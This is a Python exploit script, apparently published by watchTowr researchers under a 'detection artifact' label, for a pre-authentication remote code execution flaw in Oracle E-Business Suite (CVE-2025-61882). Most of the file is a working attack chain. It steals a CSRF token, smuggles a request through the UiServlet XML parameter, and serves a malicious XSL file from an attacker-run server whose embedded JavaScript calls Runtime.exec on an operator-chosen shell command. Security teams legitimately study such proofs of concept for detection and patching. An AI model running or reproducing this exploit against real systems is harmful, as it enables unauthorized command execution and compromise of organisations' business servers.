import requests
import argparse
from threading import Thread
import http.server
from base64 import b64encode
requests.packages.urllib3.disable_warnings(category=DeprecationWarning)
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if self.path.endswith('.xsl'):
base_command = ['sh', '-c']
if(args.platform == 'windows'):
base_command = ['cmd', '/c']
js = f"""
var stringc = java.lang.Class.forName('java.lang.String');
var cmds = java.lang.reflect.Array.newInstance(stringc,3);
java.lang.reflect.Array.set(cmds,0,'{base_command[0]}');
java.lang.reflect.Array.set(cmds,1,'{base_command[1]}');
java.lang.reflect.Array.set(cmds,2,'{args.command}');
java.lang.Runtime.getRuntime().exec(cmds);
1
"""
config_payload = f'''
'''
self.send_response(200)
self.send_header("Content-type", "application/xml")
self.end_headers()
self.wfile.write(config_payload.encode())
else:
self.send_response(404)
self.end_headers()
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py
(*) Oracle E-Business Suite Pre-Auth RCE Detection Artifact Generator
- Sonny, Sina Kheirkhah (@SinSinology), Jake Knott (@inkmoro) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2025-61882]
"""
print(banner)
def stage1(target_address):
update_csrf(target_address)
stage2 = f'''POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
Host: {args.lhost}:{args.lport}
User-Agent: xxxxx
Connection: keep-alive
Cookie: {"; ".join([f"{c.name}={c.value}" for c in s.cookies])}
'''
stage2 += "\r\n\r\n\r\nPOST /"
payload = cook_smuggle_stub(stage2)
smuggle(args.target, payload)
def update_csrf(target_address):
print("[*] connecting to target to retrieve CSRF token...")
s.get(target_address + "/OA_HTML/runforms.jsp", allow_redirects=False)
res = s.post(target_address + "/OA_HTML/JavaScriptServlet", headers={"CSRF-XHR": "YES", "FETCH-CSRF-TOKEN": "1"}, )
token = res.text.split(":")[1]
if len(token):
print(f'[*] CSRF TOKEN: {token}')
else:
print(f'[!] Error retrieving CSRF token, exitting...')
exit(0)
def cook_smuggle_stub(payload):
print("[*] Cooking smuggle stub...")
if payload.startswith("POST "):
payload = payload[5:]
elif payload.startswith("GET "):
payload = payload = payload[4:]
payload = payload.replace("\n", "\r\n")
return ''.join(['' + str(ord(i)) + ";" for i in list(payload)])
def smuggle(target_address, payload):
xml = f'''testhttp://apps.example.com:7201{payload}00Applet'''
s.post(target_address + "/OA_HTML/configurator/UiServlet",
data={
"redirectFromJsp": "1",
"getUiType": xml
})
s = requests.session()
s.verify = False
argparser = argparse.ArgumentParser(description='Oracle E-Business Suite Pre-Auth RCE Detection Artifact Generator')
argparser.add_argument('--target', required=True, help='Oracle URL, e.g., http://apps.example.com:8000/')
argparser.add_argument('--lhost', required=True, help='LHOST')
argparser.add_argument('--lport', required=True, help='LPORT')
argparser.add_argument('--command', required=True, help='COMMAND to execute')
argparser.add_argument('--platform', required=True, choices=['linux', 'windows'], help='linux or windows')
args = argparser.parse_args()
target_address = args.target.rstrip('/')
httpd = http.server.HTTPServer(('0.0.0.0', int(args.lport)), SimpleHTTPRequestHandler)
thread = Thread(target=httpd.serve_forever)
thread.start()
print(f"[*] Listening on {args.lhost}:{args.lport} and serving payload...")
stage1(target_address)